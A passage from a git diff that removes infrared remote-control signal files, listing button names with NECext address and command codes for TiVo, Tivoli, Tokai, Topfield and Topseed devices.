85 30 00 00 -command: 28 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: ENTER/JUMP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir deleted file mode 100644 index 3c1a8a04d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TIVO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 02 00 00 00 -# -name: TVPWR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 10 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 12 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 13 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: THUMBSDOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: THUMBSUP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: JUMPTOEND -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir deleted file mode 100644 index 2e5036333..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: direct -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: category-left -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: category-right -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir deleted file mode 100644 index 9a266c124..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: vocal_assist -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 01 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 02 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 03 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 06 00 00 00 -# -name: kp_8 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 08 00 00 00 -# -name: kp_9 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 09 00 00 00 -# -name: resume -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0A 00 00 00 -# -name: kp_7 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0B 00 00 00 -# -name: kp_5 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0C 00 00 00 -# -name: kp_6 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0E 00 00 00 -# -name: kp_4 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0F 00 00 00 -# -name: kp_2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 10 00 00 00 -# -name: kp_3 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 11 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 12 00 00 00 -# -name: kp_1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 13 00 00 00 -# -name: rpt_1all -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 15 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 16 00 00 00 -# -name: rpt_ab -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 17 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 18 00 00 00 -# -name: skip_b -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 19 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1A 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1D 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1E 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1F 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 40 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 41 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 44 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 48 00 00 00 -# -name: kp_0 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 49 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4C 00 00 00 -# -name: kp_plus10 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4D 00 00 00 -# -name: tc_search -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 50 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 51 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 54 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 55 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 58 00 00 00 -# -name: skip_f -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 59 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir deleted file mode 100644 index 4550c2986..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 00 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 01 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 02 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 03 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 04 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 05 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 06 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 07 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 08 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0D 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0E 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 19 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1A 00 00 00 -# -name: Scheudle -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1B 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1F 00 00 00 -# -name: UHF -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 43 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 44 00 00 00 -# -name: FastRew -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 45 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 46 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 47 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 48 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 49 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4A 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4B 00 00 00 -# -name: White -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4C 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4D 00 00 00 -# -name: SkipLeft -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 50 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 51 00 00 00 -# -name: SkipRight -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 52 00 00 00 -# -name: Gray -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir deleted file mode 100644 index 198ffdc70..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 03 00 00 00 -# -name: TV/Radio -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 04 00 00 00 -# -name: Sound -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 05 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 06 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 07 00 00 00 -# -name: TV/STB -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 08 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 0A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 0B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 0C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 0D 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 0E 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 0F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 19 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 1A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 1B 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 1C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 1D 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 1E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 1F 00 00 00 -# -name: M1 -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 40 00 00 00 -# -name: M2 -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 41 00 00 00 -# -name: M3 -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 42 00 00 00 -# -name: UHF -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 43 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 44 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 47 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 04 FF 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir deleted file mode 100644 index 8b83c4b67..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 03 00 00 00 -# -name: TV/RADIO -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 04 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 05 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 06 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0D 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0E 00 00 00 -# -name: BLU -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 19 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1B 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1D 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1F 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 45 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 46 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 47 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 48 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4A 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4D 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 51 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir deleted file mode 100644 index a7f553e0f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir +++ /dev/null @@ -1,314 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 09 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 13 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 16 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 18 00 00 00 -# -name: 